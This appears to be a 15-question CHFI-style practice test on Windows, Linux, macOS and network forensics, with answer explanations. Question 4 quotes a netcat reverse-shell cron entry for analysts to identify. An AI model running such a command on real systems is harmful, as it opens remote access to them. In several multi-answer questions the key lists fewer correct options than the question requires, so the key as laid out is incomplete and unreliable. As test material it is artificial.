CHFI OS and Network Forensics Practice Test 14 — 15 Questions

Question 1

In Windows registry forensics, which registry hive contains the SAM database storing local user account hashes?

Accepted Answer

HKLM\Sam. The SAM (Security Account Manager) database, which stores local user account password hashes (LM and NTLM hashes), is mounted in the Windows registry under the HKLM\SAM hive. This hive is directly accessible only by the SYSTEM account for security reasons, and it contains the hashes in the SAM\SAM\Domains\Account\Users subkey. Option D is correct because HKLM\Sam is the exact registry path where the SAM database resides.

Answer

HKLM\Security

Answer

HKLM\System

Answer

NTUSER.DAT

Question 2

During a Windows forensic analysis, you find a suspicious LNK file in a user's Recent folder. Which of the following is NOT typically retrievable from an LNK file?

Accepted Answer

Username of the user who created the LNK file. LNK files store metadata about the target file and the system environment, but they do not record the username of the user who created the LNK file. The creation timestamp of the LNK file itself is stored, but the username is not part of the LNK file structure. Instead, the username context is inferred from the user's profile folder path where the LNK resides, not from the file's internal data.

Answer

Target file creation timestamp

Answer

Volume serial number of the target drive

Answer

Target file path

Question 3

Which Linux log file is the primary source for authentication-related events, including SSH login attempts and sudo usage?

Accepted Answer

/var/log/auth.log. /var/log/auth.log is the dedicated Linux log file for authentication-related events, including SSH login attempts (via PAM and sshd), sudo usage, and user authentication failures. This file is managed by the syslog daemon and is the primary source for forensic analysis of authentication activity on Debian-based systems.

Answer

/var/log/kern.log

Answer

/var/log/syslog

Answer

/var/log/messages

Question 4

An incident responder finds the following entry in a Linux cron job: "*/5 * * * * root nc -e /bin/sh 10.0.0.5 4444". What is the purpose of this cron job?

Accepted Answer

Establish a reverse shell back to the attacker every 5 minutes. The cron job runs every 5 minutes (as specified by '*/5') and executes 'nc -e /bin/sh 10.0.0.5 4444'. The '-e' flag in netcat (nc) binds /bin/sh to the connection, meaning when the command runs, it connects to 10.0.0.5 on port 4444 and provides a shell to the remote listener. This is a classic reverse shell technique, allowing an attacker to gain interactive command execution on the compromised Linux host.

Answer

Port scan 10.0.0.5 every 5 minutes

Answer

Log system activity to a remote server

Answer

Download malicious software from 10.0.0.5

Question 5

In a Windows forensic investigation, which registry key is used to examine programs that automatically start at system boot for all users?

Accepted Answer

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run registry key stores programs that automatically start at system boot for all users. This is a system-wide location, meaning any executable listed here runs regardless of which user logs in, making it critical for forensic analysis of persistent malware or unauthorized startup applications.

Answer

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Answer

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run

Question 6

Which network forensic tool is BEST suited for analyzing NetFlow data to identify top talkers and detect anomalies?

Accepted Answer

SiLK. SiLK (System for Internet-Level Knowledge) is specifically designed for large-scale NetFlow data analysis, providing tools to aggregate flow records, identify top talkers (e.g., using rwtop or rwstats), and detect anomalies through statistical baselines. Unlike packet-level tools, SiLK works directly with flow summaries, making it efficient for high-volume network traffic analysis in forensic investigations.

Answer

tcpdump

Answer

Nmap

Answer

Wireshark

Question 7

A forensic analyst is investigating a Windows system and wants to identify recently executed programs. Which TWO artifacts should the analyst examine?

Accepted Answer

Prefetch files. Prefetch files (B) are correct because Windows stores execution metadata in C:\Windows\Prefetch as .pf files, recording the executable name, run count, and last-run timestamps, making them a primary artifact for proving program execution. UserAssist (C) is correct because it tracks GUI-based program launches via ROT13-encoded entries under HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist, including run counts and last-execution times for user-initiated applications. MRU lists (A) only show recently accessed files or commands, not necessarily executed programs, so they are weaker execution evidence. ShellBags (D) record folder view settings and window positions, reflecting folder navigation rather than program execution. Jump lists (E) are tied to taskbar/application recent-item history and indicate files opened by an application, but they do not directly prove that a program itself was executed.

Answer

MRU lists

Answer

ShellBags

Answer

Jump lists

Question 8

An investigator is analyzing a Windows 10 system suspected of malware persistence. Which registry key is commonly used by malware to achieve persistence by running a program at every user logon?

Accepted Answer

HKCU\Software\Microsoft\Windows\CurrentVersion\Run. The HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key is a standard autostart location that Windows checks at every user logon. Malware commonly writes a value here pointing to its executable path, ensuring it runs automatically each time the user logs into their account. This is a well-documented persistence mechanism in Windows forensics.

Answer

HKLM\SAM\SAM

Answer

HKLM\SYSTEM\CurrentControlSet\Services

Answer

HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall

Question 9

In network forensics, which tool is specifically designed for packet capture and analysis, allowing examiners to inspect individual packets and reconstruct network conversations?

Accepted Answer

Wireshark. Wireshark is the correct answer because it is a full-featured packet analyzer that captures live network traffic and provides deep inspection of hundreds of protocols. It allows examiners to filter packets, follow TCP streams, and reconstruct entire network conversations, making it the standard tool for network forensics analysis.

Answer

Tcpdump

Answer

Netstat

Answer

Nmap

Question 10

An analyst is examining a PCAP file in Wireshark and notices a series of TCP SYN packets sent to multiple ports on a single IP address, with no subsequent SYN-ACK replies. What type of network activity does this indicate?

Accepted Answer

A port scan attempting to identify open ports. Sending SYN packets to many ports without receiving SYN-ACKs indicates a port scan, likely a TCP SYN scan, to discover open ports.

Answer

A denial of service attack

Answer

A man-in-the-middle attack

Answer

A TCP handshake for normal connection establishment

Question 11

Which TWO of the following are Windows artifacts that can provide evidence of file execution, including timestamps and paths?

Accepted Answer

Prefetch files (*.pf). Prefetch files (*.pf) are correct because Windows creates them in C:\Windows\Prefetch when applications execute, and each .pf file records the executable name, run count, last-run timestamps, and referenced file/directory paths, directly evidencing execution. LNK files are correct because Windows shortcut files, typically found in Recent Items, Office Recent, or Jump Lists, store the target path, volume information, and MAC timestamps of the referenced file, showing that a file was opened or executed. Event ID 4720 is not correct because it records user account creation in the Security log, not file execution. The SAM registry hive is not correct because it stores local account and group information, including password hashes, not execution evidence. Pagefile.sys is not correct because it is virtual memory swap space that may contain residual data but is not a structured artifact specifically recording file execution timestamps and paths.

Answer

Event ID 4720

Answer

SAM registry hive

Answer

Pagefile.sys

Question 12

Which TWO of the following are common Linux log files that can be used for forensic analysis?

Accepted Answer

/var/log/syslog. /var/log/syslog (B) is correct because it is the standard system log on many Linux distributions (Debian/Ubuntu and others), recording kernel messages, daemon activity, service events, and general system errors that are valuable for reconstructing a timeline during forensic analysis. /var/log/auth.log (C) is also correct because it captures authentication-related events such as logins, sudo usage, su attempts, and PAM/SSH authentication failures or successes, which are essential for investigating unauthorized access. The unmarked options do not belong: /etc/passwd (A) and /etc/shadow (D) are account database files, not log files, even though they are useful for reviewing user accounts and password hashes, and /proc/cpuinfo (E) is a virtual file exposing CPU details, not a log of system or security events.

Answer

/etc/passwd

Answer

/etc/shadow

Answer

/proc/cpuinfo

Question 13

Which TWO of the following are forensic artifacts found on macOS systems that can help reconstruct user activity?

Accepted Answer

.plist files. Option A (.plist files) is correct because macOS stores application and system preferences, recent items, and user-activity metadata in property list files (often binary or XML) under ~/Library/Preferences and /Library/Preferences, which investigators can parse with plutil or plist editors to reconstruct user behavior. Option B (Unified logging) is correct because macOS's Unified Logging system (introduced in 10.12, accessed via the log command or log show) records detailed system, application, and user events in .tracev3 files under /var/db/diagnostics, providing a rich timeline of activity. Option C (Prefetch files) is incorrect because *.pf Prefetch files are a Windows artifact (C:\Windows\Prefetch) that does not exist on macOS. Option D (Registry hive files) is incorrect because the Windows Registry (e.g., NTUSER.DAT, SYSTEM, SAM) is not present on macOS, which uses plists and other stores instead. Option E (Event ID 4624) is incorrect because that is a Windows Security event log identifier for a successful logon, not a macOS forensic artifact.

Answer

Prefetch files (*.pf)

Answer

Registry hive files

Answer

Event ID 4624

Question 14

Which THREE of the following are indicators of a webshell compromise on a web server?

Accepted Answer

High CPU usage from web server processes. Option A is correct because webshells often execute resource-intensive commands (cryptomining, brute-forcing, scanning, or reverse shells) through the web server's worker processes, so sustained high CPU usage by httpd/nginx/w3wp or their child processes is a common indicator. Option C is correct because attackers typically drop or upload webshell files into web-accessible directories, so unexpected .php, .asp, .aspx, or .jsp files that are not part of the original application are a strong sign of compromise. Option D is correct because a webshell commonly establishes command-and-control or exfiltration channels, producing unexpected outbound connections from the web server to unknown external IP addresses on unusual ports. Option B does not belong because legitimate successful logins with valid credentials are normal activity and are not, by themselves, an indicator of a webshell. Option E does not belong because a decrease in network traffic is not characteristic of webshell activity, which typically generates additional traffic rather than reducing it.

Answer

Regular successful logins to the server with correct credentials

Answer

Decrease in network traffic

Question 15

Which THREE of the following are Windows Event IDs that are particularly useful for investigating account logon activities?

Accepted Answer

4625 - An account failed to log on. Option A (4625 - An account failed to log on) is correct because it records failed authentication attempts in the Security log, which is essential for detecting brute-force, password-spraying, or unauthorized access attempts. Option B (4648 - A logon was attempted using explicit credentials) is correct because it captures scenarios where a process or user supplies alternate credentials (e.g., RunAs, scheduled tasks, or lateral movement with explicit creds), which is critical for tracing credential misuse. Option C (4624 - An account was successfully logged on) is correct because it documents successful logons, including logon type (2 interactive, 3 network, 10 RDP, etc.), enabling investigators to establish a timeline of legitimate or suspicious access. Option D (4656 - A handle to an object was requested) is not a logon event; it relates to object access auditing and handle requests, so it does not directly evidence account logon activity. Option E (7045 - A service was installed in the system) is a System log event about service installation (persistence), not an account logon event, so it is not relevant to investigating logon activities.

Answer

4656 - A handle to an object was requested

Answer

7045 - A service was installed in the system